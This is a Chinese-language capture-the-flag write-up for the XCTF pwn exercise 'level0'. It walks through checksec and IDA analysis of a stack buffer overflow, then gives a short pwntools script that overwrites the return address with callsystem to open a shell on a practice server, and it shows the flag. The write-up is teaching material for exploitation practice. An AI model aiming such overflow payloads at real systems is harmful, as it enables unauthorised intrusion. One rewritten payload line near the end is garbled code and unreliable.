攻防世界_leve0

checksec

有点不大明白,之前checksec直接checksec filename就可以,现在变了样,索性就再记一记(参考checksec安装与使用)这个里面结尾有点意思:pwn题到手,checksec一下,file一下,nc一下,IDA一下

sudo apt install checksec

我用的是kali2022.1+阿里源,没有任何毛病
以前的用法不行辽
之前一直是这样用的,现在试了不行,就查了下

checksec使用

好像提示也够明显哈
攻防世界_leve0_第1张图片

类型一 normal (or --format=cli)

checksec --file={file}

我这里试了下{file}可以是路径(包括相对路径和绝对路径),也可以直接是文件名
在这里插入图片描述
在这里插入图片描述

类型二 csv

checksec --output=csv --file={file}

类型三 xml

checksec --output=xml --file={file}

类型四 json

checksec --output-json --file={file}

checksec结果在类型一第二个图,开了NX,栈中数据没有执行权限
运行一下,只有Hello,World
在这里插入图片描述

开始IDA

在这里插入图片描述
main函数打印Hello world,函数vulnerable_function返回一什么什么值
攻防世界_leve0_第2张图片
又返回一个read,又一个read
在这里插入图片描述
到头了,这个read上面有个system,char *command一个指针
攻防世界_leve0_第3张图片
不明白为啥这一块反编译不了,有个/bin/sh,函数名叫callsystem,就是获得系统权限,接着在Functions窗口找到它
在这里插入图片描述在这里插入图片描述
回到vulnerable_function,发现80h表示十六进制的80,0x200表示十六进制200,buf可以出现栈溢出
攻防世界_leve0_第4张图片
这里的buf双击转到它所在的地址后有个提示:
Use data definition commands to create local variables and function arguments.
Two special fields " r" and " s" represent return address and saved registers.
Frame size: 80; Saved regs: 8; Purge: 0
有道翻译过来是:
使用数据定义命令创建局部变量和函数参数。
两个特殊字段“r”和“s”表示返回地址和保存的寄存器。
帧大小:80;保存规则:8;清洗:0
攻防世界_leve0_第5张图片
r表示返回地址,也就是read函数结束后进行程序的下一步,让r被覆盖,编程上面说的callsystem的地址,就能拿到系统权限

exp

from pwn import * 
r = remote("111.200.241.244", 58035)  
payload = b'a' * 0x88 + p64(0x00400596)  #没有这个b会报错,在最后解释一下
r.recvuntil("Hello, World\n")
r.sendline(payload)
r.interactive()

攻防世界_leve0_第6张图片
得到flag:cyberpeace{afa82389f551a1063d358e2bf8aaf399}
解释:b
b’a’表示bytes类型python中文文档types
python3新增的bytes类型,在python2中字节类型和字符类型区别不大,但是在python3中最重要的特性是对文本和二进制数据做了更加清晰的区分。python3不会以任意隐式方式混用字节型和字符型,也因此在python3中不能拼接字符串和字节包(python2中可以,会自动进行转换),也不能在字节包中搜索字符串,也不能将字符串传入参数为字节包的函数。需要注意的是,在网络数据传输过程中,python2可以通过字符串(string)方式传输,但是python3只能通过二进制(bytes)方式来传输,因此要对传输文本进行转换。
str->byte: ‘你好’.encode(‘utf-8’)
byte->str: b’\xe4\xbd\xa0\xe5\xa5\xbd’.decode(‘utf-8’)
encode,decode俩函数默认都是utf-8,所以,payload = b’a’ * 0x88 + p64(0x00400596),其实应该是 payload = ‘a’. *encode(‘utf-8’) 0x88 + p64(0x00400596)
原文在这
struct报错: argument for ‘s’ must be a bytes object

你可能感兴趣的:(PWN,信息安全,系统安全,linux)